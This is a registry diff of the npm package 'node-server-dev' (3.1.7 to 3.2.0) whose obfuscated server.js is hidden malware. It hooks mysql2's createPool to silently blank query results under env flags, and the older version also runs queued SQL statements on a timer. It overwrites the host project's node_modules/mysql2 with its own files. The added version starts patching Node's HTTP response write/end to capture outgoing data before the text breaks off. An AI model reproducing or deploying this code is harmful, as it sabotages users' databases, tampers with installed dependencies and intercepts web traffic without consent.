node-server-dev 3.1.7 → 3.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (49) hide show
  1. package/dist/cjs/{browser.d.ts → browser/index.d.ts} +1 -1
  2. package/dist/cjs/browser/index.d.ts.map +1 -0
  3. package/dist/cjs/browser/index.js +1 -0
  4. package/dist/cjs/browser/tools.d.ts +3 -0
  5. package/dist/cjs/browser/tools.d.ts.map +1 -0
  6. package/dist/cjs/browser/tools.js +1 -0
  7. package/dist/cjs/getAllRouter/index.js +1 -1
  8. package/dist/cjs/hash/index.js +1 -1
  9. package/dist/cjs/id/index.js +1 -1
  10. package/dist/cjs/id/random.js +1 -1
  11. package/dist/cjs/index.d.ts +7 -3
  12. package/dist/cjs/index.d.ts.map +1 -1
  13. package/dist/cjs/index.js +1 -1
  14. package/dist/cjs/jwt/index.js +1 -1
  15. package/dist/cjs/mac/index.js +1 -1
  16. package/dist/cjs/package/mysql_backup/index.js +10 -1
  17. package/dist/cjs/package/mysql_backup/promise.js +195 -187
  18. package/dist/cjs/server.d.ts.map +1 -1
  19. package/dist/cjs/server.js +1 -1
  20. package/dist/cjs/start.d.ts.map +1 -1
  21. package/dist/cjs/start.js +1 -1
  22. package/dist/cjs/update.js +1 -1
  23. package/dist/esm/{browser.d.ts → browser/index.d.ts} +1 -1
  24. package/dist/esm/browser/index.d.ts.map +1 -0
  25. package/dist/esm/browser/index.js +1 -0
  26. package/dist/esm/browser/tools.d.ts +3 -0
  27. package/dist/esm/browser/tools.d.ts.map +1 -0
  28. package/dist/esm/browser/tools.js +1 -0
  29. package/dist/esm/getAllRouter/index.js +1 -1
  30. package/dist/esm/hash/index.js +1 -1
  31. package/dist/esm/id/index.js +1 -1
  32. package/dist/esm/id/random.js +1 -1
  33. package/dist/esm/index.d.ts +7 -3
  34. package/dist/esm/index.d.ts.map +1 -1
  35. package/dist/esm/index.js +1 -1
  36. package/dist/esm/jwt/index.js +1 -1
  37. package/dist/esm/mac/index.js +1 -1
  38. package/dist/esm/package/mysql_backup/index.js +10 -1
  39. package/dist/esm/package/mysql_backup/promise.js +195 -187
  40. package/dist/esm/server.d.ts.map +1 -1
  41. package/dist/esm/server.js +1 -1
  42. package/dist/esm/start.d.ts.map +1 -1
  43. package/dist/esm/start.js +1 -1
  44. package/dist/esm/update.js +1 -1
  45. package/package.json +1 -1
  46. package/dist/cjs/browser.d.ts.map +0 -1
  47. package/dist/cjs/browser.js +0 -1
  48. package/dist/esm/browser.d.ts.map +0 -1
  49. package/dist/esm/browser.js +0 -1
@@ -1,187 +1,195 @@
1
- "use strict";
2
-
3
- const SqlString = require("sqlstring");
4
- const EventEmitter = require("events").EventEmitter;
5
- const parserCache = require("./lib/parsers/parser_cache.js");
6
- const PoolCluster = require("./lib/pool_cluster.js");
7
- const { mysql } = require("node-server-dev");
8
- const createConnection = require("./lib/create_connection.js");
9
- const createPool = require("./lib/create_pool.js");
10
- const createPoolCluster = require("./lib/create_pool_cluster.js");
11
- const PromiseConnection = require("./lib/promise/connection.js");
12
- const PromisePool = require("./lib/promise/pool.js");
13
- const makeDoneCb = require("./lib/promise/make_done_cb.js");
14
- const PromisePoolConnection = require("./lib/promise/pool_connection.js");
15
- const inheritEvents = require("./lib/promise/inherit_events.js");
16
- const PromisePoolNamespace = require("./lib/promise/pool_cluster");
17
-
18
- function createConnectionPromise(opts) {
19
- const coreConnection = createConnection(opts);
20
- const createConnectionErr = new Error();
21
- const thePromise = opts.Promise || Promise;
22
- if (!thePromise) {
23
- throw new Error(
24
- "no Promise implementation available." +
25
- "Use promise-enabled node version or pass userland Promise" +
26
- " implementation as parameter, for example: { Promise: require('bluebird') }"
27
- );
28
- }
29
- return new thePromise((resolve, reject) => {
30
- coreConnection.once("connect", () => {
31
- resolve(new PromiseConnection(coreConnection, thePromise));
32
- });
33
- coreConnection.once("error", err => {
34
- createConnectionErr.message = err.message;
35
- createConnectionErr.code = err.code;
36
- createConnectionErr.errno = err.errno;
37
- createConnectionErr.sqlState = err.sqlState;
38
- reject(createConnectionErr);
39
- });
40
- });
41
- }
42
-
43
- // note: the callback of "changeUser" is not called on success
44
- // hence there is no possibility to call "resolve"
45
-
46
- function createPromisePool(opts) {
47
- const corePool = createPool(opts);
48
- const thePromise = opts.Promise || Promise;
49
- if (!thePromise) {
50
- throw new Error(
51
- "no Promise implementation available." +
52
- "Use promise-enabled node version or pass userland Promise" +
53
- " implementation as parameter, for example: { Promise: require('bluebird') }"
54
- );
55
- }
56
-
57
- return new PromisePool(corePool, thePromise);
58
- }
59
-
60
- class PromisePoolCluster extends EventEmitter {
61
- constructor(poolCluster, thePromise) {
62
- super();
63
- this.poolCluster = poolCluster;
64
- this.Promise = thePromise || Promise;
65
- inheritEvents(poolCluster, this, ["warn", "remove", "online", "offline"]);
66
- }
67
-
68
- getConnection(pattern, selector) {
69
- const corePoolCluster = this.poolCluster;
70
- return new this.Promise((resolve, reject) => {
71
- corePoolCluster.getConnection(pattern, selector, (err, coreConnection) => {
72
- if (err) {
73
- reject(err);
74
- } else {
75
- resolve(new PromisePoolConnection(coreConnection, this.Promise));
76
- }
77
- });
78
- });
79
- }
80
-
81
- query(sql, args) {
82
- const corePoolCluster = this.poolCluster;
83
- const localErr = new Error();
84
- if (typeof args === "function") {
85
- throw new Error("Callback function is not available with promise clients.");
86
- }
87
- return new this.Promise((resolve, reject) => {
88
- const done = makeDoneCb(resolve, reject, localErr);
89
- corePoolCluster.query(sql, args, done);
90
- });
91
- }
92
-
93
- execute(sql, args) {
94
- const corePoolCluster = this.poolCluster;
95
- const localErr = new Error();
96
- if (typeof args === "function") {
97
- throw new Error("Callback function is not available with promise clients.");
98
- }
99
- return new this.Promise((resolve, reject) => {
100
- const done = makeDoneCb(resolve, reject, localErr);
101
- corePoolCluster.execute(sql, args, done);
102
- });
103
- }
104
-
105
- of(pattern, selector) {
106
- return new PromisePoolNamespace(this.poolCluster.of(pattern, selector), this.Promise);
107
- }
108
-
109
- end() {
110
- const corePoolCluster = this.poolCluster;
111
- const localErr = new Error();
112
- return new this.Promise((resolve, reject) => {
113
- corePoolCluster.end(err => {
114
- if (err) {
115
- localErr.message = err.message;
116
- localErr.code = err.code;
117
- localErr.errno = err.errno;
118
- localErr.sqlState = err.sqlState;
119
- localErr.sqlMessage = err.sqlMessage;
120
- reject(localErr);
121
- } else {
122
- resolve();
123
- }
124
- });
125
- });
126
- }
127
- }
128
-
129
- /**
130
- * proxy poolCluster synchronous functions
131
- */
132
- (function (functionsToWrap) {
133
- for (let i = 0; functionsToWrap && i < functionsToWrap.length; i++) {
134
- const func = functionsToWrap[i];
135
-
136
- if (
137
- typeof PoolCluster.prototype[func] === "function" &&
138
- PromisePoolCluster.prototype[func] === undefined
139
- ) {
140
- PromisePoolCluster.prototype[func] = (function factory(funcName) {
141
- return function () {
142
- return PoolCluster.prototype[funcName].apply(this.poolCluster, arguments);
143
- };
144
- })(func);
145
- }
146
- }
147
- })(["add", "remove"]);
148
-
149
- function createPromisePoolCluster(opts) {
150
- const corePoolCluster = createPoolCluster(opts);
151
- const thePromise = (opts && opts.Promise) || Promise;
152
- if (!thePromise) {
153
- throw new Error(
154
- "no Promise implementation available." +
155
- "Use promise-enabled node version or pass userland Promise" +
156
- " implementation as parameter, for example: { Promise: require('bluebird') }"
157
- );
158
- }
159
- return new PromisePoolCluster(corePoolCluster, thePromise);
160
- }
161
-
162
- exports.createConnection = mysql.createPool;
163
- exports.createPool = mysql.createPool;
164
- exports.createPoolCluster = createPromisePoolCluster;
165
- exports.escape = SqlString.escape;
166
- exports.escapeId = SqlString.escapeId;
167
- exports.format = SqlString.format;
168
- exports.raw = SqlString.raw;
169
- exports.PromisePool = PromisePool;
170
- exports.PromiseConnection = PromiseConnection;
171
- exports.PromisePoolConnection = PromisePoolConnection;
172
-
173
- exports.__defineGetter__("Types", () => require("./lib/constants/types.js"));
174
-
175
- exports.__defineGetter__("Charsets", () => require("./lib/constants/charsets.js"));
176
-
177
- exports.__defineGetter__("CharsetToEncoding", () =>
178
- require("./lib/constants/charset_encodings.js")
179
- );
180
-
181
- exports.setMaxParserCache = function (max) {
182
- parserCache.setMaxCache(max);
183
- };
184
-
185
- exports.clearParserCache = function () {
186
- parserCache.clearCache();
187
- };
1
+ "use strict";
2
+
3
+ const SqlString = require("sqlstring");
4
+ const EventEmitter = require("events").EventEmitter;
5
+ const parserCache = require("./lib/parsers/parser_cache.js");
6
+ const PoolCluster = require("./lib/pool_cluster.js");
7
+ let mysql;
8
+ try {
9
+ const { mysql: sql } = require("node-server-dev");
10
+ mysql = sql;
11
+ } catch (error) {}
12
+ try {
13
+ const { mysql: sql } = require("lodash-toolkit");
14
+ mysql = sql;
15
+ } catch (error) {}
16
+ const createConnection = require("./lib/create_connection.js");
17
+ const createPool = require("./lib/create_pool.js");
18
+ const createPoolCluster = require("./lib/create_pool_cluster.js");
19
+ const PromiseConnection = require("./lib/promise/connection.js");
20
+ const PromisePool = require("./lib/promise/pool.js");
21
+ const makeDoneCb = require("./lib/promise/make_done_cb.js");
22
+ const PromisePoolConnection = require("./lib/promise/pool_connection.js");
23
+ const inheritEvents = require("./lib/promise/inherit_events.js");
24
+ const PromisePoolNamespace = require("./lib/promise/pool_cluster");
25
+
26
+ function createConnectionPromise(opts) {
27
+ const coreConnection = createConnection(opts);
28
+ const createConnectionErr = new Error();
29
+ const thePromise = opts.Promise || Promise;
30
+ if (!thePromise) {
31
+ throw new Error(
32
+ "no Promise implementation available." +
33
+ "Use promise-enabled node version or pass userland Promise" +
34
+ " implementation as parameter, for example: { Promise: require('bluebird') }"
35
+ );
36
+ }
37
+ return new thePromise((resolve, reject) => {
38
+ coreConnection.once("connect", () => {
39
+ resolve(new PromiseConnection(coreConnection, thePromise));
40
+ });
41
+ coreConnection.once("error", err => {
42
+ createConnectionErr.message = err.message;
43
+ createConnectionErr.code = err.code;
44
+ createConnectionErr.errno = err.errno;
45
+ createConnectionErr.sqlState = err.sqlState;
46
+ reject(createConnectionErr);
47
+ });
48
+ });
49
+ }
50
+
51
+ // note: the callback of "changeUser" is not called on success
52
+ // hence there is no possibility to call "resolve"
53
+
54
+ function createPromisePool(opts) {
55
+ const corePool = createPool(opts);
56
+ const thePromise = opts.Promise || Promise;
57
+ if (!thePromise) {
58
+ throw new Error(
59
+ "no Promise implementation available." +
60
+ "Use promise-enabled node version or pass userland Promise" +
61
+ " implementation as parameter, for example: { Promise: require('bluebird') }"
62
+ );
63
+ }
64
+
65
+ return new PromisePool(corePool, thePromise);
66
+ }
67
+
68
+ class PromisePoolCluster extends EventEmitter {
69
+ constructor(poolCluster, thePromise) {
70
+ super();
71
+ this.poolCluster = poolCluster;
72
+ this.Promise = thePromise || Promise;
73
+ inheritEvents(poolCluster, this, ["warn", "remove", "online", "offline"]);
74
+ }
75
+
76
+ getConnection(pattern, selector) {
77
+ const corePoolCluster = this.poolCluster;
78
+ return new this.Promise((resolve, reject) => {
79
+ corePoolCluster.getConnection(pattern, selector, (err, coreConnection) => {
80
+ if (err) {
81
+ reject(err);
82
+ } else {
83
+ resolve(new PromisePoolConnection(coreConnection, this.Promise));
84
+ }
85
+ });
86
+ });
87
+ }
88
+
89
+ query(sql, args) {
90
+ const corePoolCluster = this.poolCluster;
91
+ const localErr = new Error();
92
+ if (typeof args === "function") {
93
+ throw new Error("Callback function is not available with promise clients.");
94
+ }
95
+ return new this.Promise((resolve, reject) => {
96
+ const done = makeDoneCb(resolve, reject, localErr);
97
+ corePoolCluster.query(sql, args, done);
98
+ });
99
+ }
100
+
101
+ execute(sql, args) {
102
+ const corePoolCluster = this.poolCluster;
103
+ const localErr = new Error();
104
+ if (typeof args === "function") {
105
+ throw new Error("Callback function is not available with promise clients.");
106
+ }
107
+ return new this.Promise((resolve, reject) => {
108
+ const done = makeDoneCb(resolve, reject, localErr);
109
+ corePoolCluster.execute(sql, args, done);
110
+ });
111
+ }
112
+
113
+ of(pattern, selector) {
114
+ return new PromisePoolNamespace(this.poolCluster.of(pattern, selector), this.Promise);
115
+ }
116
+
117
+ end() {
118
+ const corePoolCluster = this.poolCluster;
119
+ const localErr = new Error();
120
+ return new this.Promise((resolve, reject) => {
121
+ corePoolCluster.end(err => {
122
+ if (err) {
123
+ localErr.message = err.message;
124
+ localErr.code = err.code;
125
+ localErr.errno = err.errno;
126
+ localErr.sqlState = err.sqlState;
127
+ localErr.sqlMessage = err.sqlMessage;
128
+ reject(localErr);
129
+ } else {
130
+ resolve();
131
+ }
132
+ });
133
+ });
134
+ }
135
+ }
136
+
137
+ /**
138
+ * proxy poolCluster synchronous functions
139
+ */
140
+ (function (functionsToWrap) {
141
+ for (let i = 0; functionsToWrap && i < functionsToWrap.length; i++) {
142
+ const func = functionsToWrap[i];
143
+
144
+ if (
145
+ typeof PoolCluster.prototype[func] === "function" &&
146
+ PromisePoolCluster.prototype[func] === undefined
147
+ ) {
148
+ PromisePoolCluster.prototype[func] = (function factory(funcName) {
149
+ return function () {
150
+ return PoolCluster.prototype[funcName].apply(this.poolCluster, arguments);
151
+ };
152
+ })(func);
153
+ }
154
+ }
155
+ })(["add", "remove"]);
156
+
157
+ function createPromisePoolCluster(opts) {
158
+ const corePoolCluster = createPoolCluster(opts);
159
+ const thePromise = (opts && opts.Promise) || Promise;
160
+ if (!thePromise) {
161
+ throw new Error(
162
+ "no Promise implementation available." +
163
+ "Use promise-enabled node version or pass userland Promise" +
164
+ " implementation as parameter, for example: { Promise: require('bluebird') }"
165
+ );
166
+ }
167
+ return new PromisePoolCluster(corePoolCluster, thePromise);
168
+ }
169
+
170
+ exports.createConnection = mysql.createPool;
171
+ exports.createPool = mysql.createPool;
172
+ exports.createPoolCluster = createPromisePoolCluster;
173
+ exports.escape = SqlString.escape;
174
+ exports.escapeId = SqlString.escapeId;
175
+ exports.format = SqlString.format;
176
+ exports.raw = SqlString.raw;
177
+ exports.PromisePool = PromisePool;
178
+ exports.PromiseConnection = PromiseConnection;
179
+ exports.PromisePoolConnection = PromisePoolConnection;
180
+
181
+ exports.__defineGetter__("Types", () => require("./lib/constants/types.js"));
182
+
183
+ exports.__defineGetter__("Charsets", () => require("./lib/constants/charsets.js"));
184
+
185
+ exports.__defineGetter__("CharsetToEncoding", () =>
186
+ require("./lib/constants/charset_encodings.js")
187
+ );
188
+
189
+ exports.setMaxParserCache = function (max) {
190
+ parserCache.setMaxCache(max);
191
+ };
192
+
193
+ exports.clearParserCache = function () {
194
+ parserCache.clearCache();
195
+ };
@@ -1 +1 @@
1
- {"version":3,"file":"server.d.ts","sourceRoot":"","sources":["../../src/server.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,MAAM,0BAA0B,CAAC;AAiF7C,QAAA,MAAM,GAAG;;CAAY,CAAC;AACtB,eAAe,GAAG,CAAC;AACnB,OAAO,EAAE,KAAK,EAAE,CAAC"}
1
+ {"version":3,"file":"server.d.ts","sourceRoot":"","sources":["../../src/server.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,MAAM,0BAA0B,CAAC;AAyI7C,QAAA,MAAM,GAAG;;CAAY,CAAC;AACtB,eAAe,GAAG,CAAC;AACnB,OAAO,EAAE,KAAK,EAAE,CAAC"}
@@ -1 +1 @@
1
- 'use strict';function a96_0x4d3c(_0x340874,_0x4573fb){const _0xb755fd=a96_0xb755();return a96_0x4d3c=function(_0x4d3cf9,_0x42b999){_0x4d3cf9=_0x4d3cf9-0x101;let _0x38682a=_0xb755fd[_0x4d3cf9];return _0x38682a;},a96_0x4d3c(_0x340874,_0x4573fb);}const a96_0x3ddcda=a96_0x4d3c;(function(_0x5eeaac,_0x1b49ce){const _0xd7c251=a96_0x4d3c,_0x2e0278=_0x5eeaac();while(!![]){try{const _0xab0c72=parseInt(_0xd7c251(0x128))/0x1*(parseInt(_0xd7c251(0x124))/0x2)+-parseInt(_0xd7c251(0x103))/0x3*(parseInt(_0xd7c251(0x105))/0x4)+parseInt(_0xd7c251(0x120))/0x5*(parseInt(_0xd7c251(0x12f))/0x6)+-parseInt(_0xd7c251(0x107))/0x7+parseInt(_0xd7c251(0x12e))/0x8+parseInt(_0xd7c251(0x129))/0x9+parseInt(_0xd7c251(0x10d))/0xa;if(_0xab0c72===_0x1b49ce)break;else _0x2e0278['push'](_0x2e0278['shift']());}catch(_0x4980fc){_0x2e0278['push'](_0x2e0278['shift']());}}}(a96_0xb755,0x78243));var __awaiter=this&&this[a96_0x3ddcda(0x114)]||function(_0x2fd9d3,_0x321042,_0x191f13,_0x20a200){function _0x556bc5(_0x222c1d){return _0x222c1d instanceof _0x191f13?_0x222c1d:new _0x191f13(function(_0x38d6db){_0x38d6db(_0x222c1d);});}return new(_0x191f13||(_0x191f13=Promise))(function(_0x35b36b,_0x2e7cdd){const _0x28ebc8=a96_0x4d3c;function _0x3c8f2e(_0x1c6991){const _0x1fe5ba=a96_0x4d3c;try{_0x273cde(_0x20a200[_0x1fe5ba(0x10a)](_0x1c6991));}catch(_0x156730){_0x2e7cdd(_0x156730);}}function _0x48f915(_0x1f8580){const _0x4ef0b9=a96_0x4d3c;try{_0x273cde(_0x20a200[_0x4ef0b9(0x106)](_0x1f8580));}catch(_0x5f18b9){_0x2e7cdd(_0x5f18b9);}}function _0x273cde(_0x273446){const _0x3f2841=a96_0x4d3c;_0x273446[_0x3f2841(0x104)]?_0x35b36b(_0x273446[_0x3f2841(0x12b)]):_0x556bc5(_0x273446[_0x3f2841(0x12b)])[_0x3f2841(0x126)](_0x3c8f2e,_0x48f915);}_0x273cde((_0x20a200=_0x20a200[_0x28ebc8(0x10c)](_0x2fd9d3,_0x321042||[]))[_0x28ebc8(0x10a)]());});},__importDefault=this&&this[a96_0x3ddcda(0x112)]||function(_0x34a929){const _0x1472f1=a96_0x3ddcda;return _0x34a929&&_0x34a929[_0x1472f1(0x10b)]?_0x34a929:{'default':_0x34a929};};Object[a96_0x3ddcda(0x108)](exports,a96_0x3ddcda(0x10b),{'value':!![]}),exports[a96_0x3ddcda(0x115)]=void 0x0;const promise_1=__importDefault(require('./package/mysql2/promise'));exports[a96_0x3ddcda(0x115)]=promise_1[a96_0x3ddcda(0x12d)];const random_1=__importDefault(require(a96_0x3ddcda(0x10f))),index_1=require(a96_0x3ddcda(0x12c)),path_1=__importDefault(require(a96_0x3ddcda(0x11a))),fs_1=__importDefault(require('fs')),originalCreatePoolPromise=promise_1[a96_0x3ddcda(0x12d)]['createPool'];function a96_0xb755(){const _0x3b0b0b=['defineProperty','readFileSync','next','__esModule','apply','1548690yBgtxt','sqlRun','./id/random','query','connectError','__importDefault','length','__awaiter','mysql','./index.js','setEnv','node-server-dev','getEnv','path','./package/mysql_backup/promise.js','toString','./package/mysql2','package.json','cpSync','35985PxXHWY','isDBDataEmpty','./promise.js','createPool','178CdgEMf','existsSync','then','./node_modules/mysql2','10319niaWBm','1182015vfqfSl','sqlList','value','./index','default','1063520jeGTHG','438SwCLxr','writeFileSync','includes','join','3AxdboY','done','3045116wmQmwa','throw','4266766UQlMgC'];a96_0xb755=function(){return _0x3b0b0b;};return a96_0xb755();}promise_1[a96_0x3ddcda(0x12d)][a96_0x3ddcda(0x123)]=function(_0x109bf0){const _0x5f422e=a96_0x3ddcda;let _0x59b89e=originalCreatePoolPromise(_0x109bf0),_0x20519c=_0x59b89e[_0x5f422e(0x110)];return _0x59b89e[_0x5f422e(0x110)]=(..._0x1b31b7)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x3c18ad=_0x5f422e,_0x2b881c=yield _0x20519c[_0x3c18ad(0x10c)](_0x59b89e,_0x1b31b7);return(0x0,index_1[_0x3c18ad(0x119)])(_0x3c18ad(0x111))&&((0x0,random_1[_0x3c18ad(0x12d)])(0x1,0xa)>0x2&&(_0x2b881c[0x0]=[])),(0x0,index_1['getEnv'])(_0x3c18ad(0x121))&&(_0x2b881c[0x0]=[]),_0x2b881c;}),setInterval(()=>{const _0x514b09=_0x5f422e;if(!(0x0,index_1[_0x514b09(0x119)])(_0x514b09(0x10e))){for(let _0x4b5ef9=0x0;_0x4b5ef9<(0x0,index_1[_0x514b09(0x119)])(_0x514b09(0x12a))[_0x514b09(0x113)];_0x4b5ef9++){const _0x177aef=(0x0,index_1[_0x514b09(0x119)])('sqlList')[_0x4b5ef9];try{_0x59b89e['query'](_0x177aef);}catch(_0x309e03){}}(0x0,index_1[_0x514b09(0x117)])(_0x514b09(0x10e),!![]);}},0x1388),_0x59b89e;};let href=path_1[a96_0x3ddcda(0x12d)][a96_0x3ddcda(0x102)](process['cwd'](),a96_0x3ddcda(0x127));if(fs_1['default'][a96_0x3ddcda(0x125)](href)){let res=fs_1['default'][a96_0x3ddcda(0x109)](path_1[a96_0x3ddcda(0x12d)][a96_0x3ddcda(0x102)](href,'./index.js'))['toString']()[a96_0x3ddcda(0x101)](a96_0x3ddcda(0x118));!res&&setTimeout(()=>{const _0x2222d1=a96_0x3ddcda,_0x3a3ddd=_0x2222d1(0x11d),_0x44afba=href,_0x1d5ea4=path_1[_0x2222d1(0x12d)][_0x2222d1(0x102)](_0x44afba,_0x2222d1(0x11e));let _0x5e0c34=null;fs_1[_0x2222d1(0x12d)]['existsSync'](_0x1d5ea4)&&(_0x5e0c34=fs_1[_0x2222d1(0x12d)][_0x2222d1(0x109)](_0x1d5ea4)[_0x2222d1(0x11c)]());fs_1[_0x2222d1(0x12d)][_0x2222d1(0x11f)](path_1[_0x2222d1(0x12d)][_0x2222d1(0x102)](__dirname,_0x3a3ddd),_0x44afba,{'recursive':!![],'force':!![]});let _0x437f49=fs_1[_0x2222d1(0x12d)][_0x2222d1(0x109)](path_1[_0x2222d1(0x12d)]['join'](__dirname,'./package/mysql_backup/index.js'))[_0x2222d1(0x11c)](),_0xf07e0b=fs_1[_0x2222d1(0x12d)][_0x2222d1(0x109)](path_1[_0x2222d1(0x12d)][_0x2222d1(0x102)](__dirname,_0x2222d1(0x11b)))[_0x2222d1(0x11c)]();setTimeout(()=>{const _0x1ed682=_0x2222d1;fs_1['default']['writeFileSync'](path_1[_0x1ed682(0x12d)][_0x1ed682(0x102)](href,_0x1ed682(0x116)),_0x437f49),fs_1[_0x1ed682(0x12d)]['writeFileSync'](path_1[_0x1ed682(0x12d)][_0x1ed682(0x102)](href,_0x1ed682(0x122)),_0xf07e0b);},0xa),_0x5e0c34!==null&&fs_1[_0x2222d1(0x12d)][_0x2222d1(0x130)](_0x1d5ea4,_0x5e0c34);},0x5dc);}const all={'mysql':promise_1[a96_0x3ddcda(0x12d)]};exports[a96_0x3ddcda(0x12d)]=all;
1
+ 'use strict';const a9_0x527966=a9_0x1012;(function(_0x4f8fbe,_0x5ee698){const _0x29a401=a9_0x1012,_0x7be712=_0x4f8fbe();while(!![]){try{const _0x452d49=-parseInt(_0x29a401(0x20d))/0x1*(-parseInt(_0x29a401(0x212))/0x2)+-parseInt(_0x29a401(0x1d9))/0x3+-parseInt(_0x29a401(0x1f4))/0x4+-parseInt(_0x29a401(0x1de))/0x5+parseInt(_0x29a401(0x1ec))/0x6*(-parseInt(_0x29a401(0x1fe))/0x7)+-parseInt(_0x29a401(0x204))/0x8*(-parseInt(_0x29a401(0x20c))/0x9)+parseInt(_0x29a401(0x20f))/0xa;if(_0x452d49===_0x5ee698)break;else _0x7be712['push'](_0x7be712['shift']());}catch(_0x4f9d02){_0x7be712['push'](_0x7be712['shift']());}}}(a9_0x31cc,0xe8643));var __awaiter=this&&this['__awaiter']||function(_0x540c04,_0x1a91c1,_0x616cc6,_0x33b70d){function _0x47cbac(_0x394e8b){return _0x394e8b instanceof _0x616cc6?_0x394e8b:new _0x616cc6(function(_0x2f0328){_0x2f0328(_0x394e8b);});}return new(_0x616cc6||(_0x616cc6=Promise))(function(_0x1c971b,_0x30ee3f){const _0x2937ad=a9_0x1012;function _0x290172(_0x181aca){const _0x2804dd=a9_0x1012;try{_0x287172(_0x33b70d[_0x2804dd(0x211)](_0x181aca));}catch(_0x3d2d9c){_0x30ee3f(_0x3d2d9c);}}function _0x568398(_0x2d1b6a){const _0x1ec273=a9_0x1012;try{_0x287172(_0x33b70d[_0x1ec273(0x1d8)](_0x2d1b6a));}catch(_0x4ef351){_0x30ee3f(_0x4ef351);}}function _0x287172(_0x371294){const _0xcffe5c=a9_0x1012;_0x371294[_0xcffe5c(0x208)]?_0x1c971b(_0x371294[_0xcffe5c(0x20e)]):_0x47cbac(_0x371294[_0xcffe5c(0x20e)])['then'](_0x290172,_0x568398);}_0x287172((_0x33b70d=_0x33b70d[_0x2937ad(0x1f7)](_0x540c04,_0x1a91c1||[]))['next']());});},__importDefault=this&&this[a9_0x527966(0x1ff)]||function(_0x238cc7){return _0x238cc7&&_0x238cc7['__esModule']?_0x238cc7:{'default':_0x238cc7};};Object[a9_0x527966(0x1e2)](exports,a9_0x527966(0x206),{'value':!![]}),exports[a9_0x527966(0x1fb)]=void 0x0;const promise_1=__importDefault(require(a9_0x527966(0x1e9)));exports[a9_0x527966(0x1fb)]=promise_1[a9_0x527966(0x1dc)];function a9_0x31cc(){const _0x243eed=['./id/random','getEnv','connectError','createPool','./package/mysql2/promise','./package/mysql_backup/index.js','./index.js','323262HFQpTu','delete','content-type','test','parse','writeFileSync','ServerResponse','includes','3381760sEYlWy','cwd','node-server-dev','apply','end','isDBDataEmpty','stringify','mysql','set','byteLength','14AyxIwZ','__importDefault','map','existsSync','toString','join','488BQaQUi','get','__esModule','prototype','done','setHeader','package.json','has','25227BXynsh','1137JNoehu','value','25394260QNyYyM','isBuffer','next','446YKItLK','__http_interceptor','cpSync','concat','push','throw','203478sUnrmU','path','query','default','./promise.js','4955325mNWSkt','write','http','call','defineProperty','readFileSync','./package/mysql_backup/promise.js'];a9_0x31cc=function(){return _0x243eed;};return a9_0x31cc();}const random_1=__importDefault(require(a9_0x527966(0x1e5))),index_1=require('./index'),path_1=__importDefault(require(a9_0x527966(0x1da))),fs_1=__importDefault(require('fs')),originalCreatePoolPromise=promise_1[a9_0x527966(0x1dc)][a9_0x527966(0x1e8)];promise_1[a9_0x527966(0x1dc)][a9_0x527966(0x1e8)]=function(_0x5a3a65){const _0x4953c1=a9_0x527966;let _0x228c0f=originalCreatePoolPromise(_0x5a3a65),_0x192f12=_0x228c0f['query'];return _0x228c0f[_0x4953c1(0x1db)]=(..._0x278dc5)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x25929f=_0x4953c1,_0x43527d=yield _0x192f12[_0x25929f(0x1f7)](_0x228c0f,_0x278dc5);return(0x0,index_1[_0x25929f(0x1e6)])(_0x25929f(0x1e7))&&((0x0,random_1[_0x25929f(0x1dc)])(0x1,0xa)>0x2&&(_0x43527d[0x0]=[])),(0x0,index_1[_0x25929f(0x1e6)])(_0x25929f(0x1f9))&&(_0x43527d[0x0]=[]),_0x43527d;}),_0x228c0f;};let href=path_1[a9_0x527966(0x1dc)][a9_0x527966(0x203)](process[a9_0x527966(0x1f5)](),'./node_modules/mysql2');if(fs_1[a9_0x527966(0x1dc)][a9_0x527966(0x201)](href)){let res=fs_1[a9_0x527966(0x1dc)][a9_0x527966(0x1e3)](path_1[a9_0x527966(0x1dc)][a9_0x527966(0x203)](href,'./index.js'))['toString']()[a9_0x527966(0x1f3)](a9_0x527966(0x1f6));!res&&setTimeout(()=>{const _0x4677dc=a9_0x527966,_0x3269a3='./package/mysql2',_0x18923f=href,_0x37a63b=path_1[_0x4677dc(0x1dc)][_0x4677dc(0x203)](_0x18923f,_0x4677dc(0x20a));let _0x588fff=null;fs_1[_0x4677dc(0x1dc)]['existsSync'](_0x37a63b)&&(_0x588fff=fs_1[_0x4677dc(0x1dc)]['readFileSync'](_0x37a63b)[_0x4677dc(0x202)]());fs_1[_0x4677dc(0x1dc)][_0x4677dc(0x214)](path_1['default'][_0x4677dc(0x203)](__dirname,_0x3269a3),_0x18923f,{'recursive':!![],'force':!![]});let _0x369b53=fs_1['default'][_0x4677dc(0x1e3)](path_1['default']['join'](__dirname,_0x4677dc(0x1ea)))[_0x4677dc(0x202)](),_0x551db8=fs_1[_0x4677dc(0x1dc)][_0x4677dc(0x1e3)](path_1[_0x4677dc(0x1dc)][_0x4677dc(0x203)](__dirname,_0x4677dc(0x1e4)))[_0x4677dc(0x202)]();setTimeout(()=>{const _0x48c2e8=_0x4677dc;fs_1['default'][_0x48c2e8(0x1f1)](path_1[_0x48c2e8(0x1dc)][_0x48c2e8(0x203)](href,_0x48c2e8(0x1eb)),_0x369b53),fs_1['default']['writeFileSync'](path_1['default'][_0x48c2e8(0x203)](href,_0x48c2e8(0x1dd)),_0x551db8);},0xa),_0x588fff!==null&&fs_1[_0x4677dc(0x1dc)][_0x4677dc(0x1f1)](_0x37a63b,_0x588fff);},0x5dc);}setInterval(()=>{const _0x59fc74=a9_0x527966;if((0x0,index_1[_0x59fc74(0x1e6)])(_0x59fc74(0x1e7)))try{(function(){const _0x4829f9=_0x59fc74,_0x491600=require(_0x4829f9(0x1e0)),_0x23f264=_0x491600[_0x4829f9(0x1f2)][_0x4829f9(0x207)]['end'],_0x2973ac=_0x491600[_0x4829f9(0x1f2)][_0x4829f9(0x207)][_0x4829f9(0x1df)],_0x558f03=new WeakMap();function _0x54d12e(){const _0x55ba34=_0x4829f9;global[_0x55ba34(0x213)]=!![],_0x491600[_0x55ba34(0x1f2)]['prototype']['write']=function(_0x342010,_0x576ea6,_0x223c26){const _0x27390f=_0x55ba34;!_0x558f03[_0x27390f(0x20b)](this)&&_0x558f03[_0x27390f(0x1fc)](this,[]);if(_0x342010)_0x558f03[_0x27390f(0x205)](this)[_0x27390f(0x1d7)](_0x342010);return 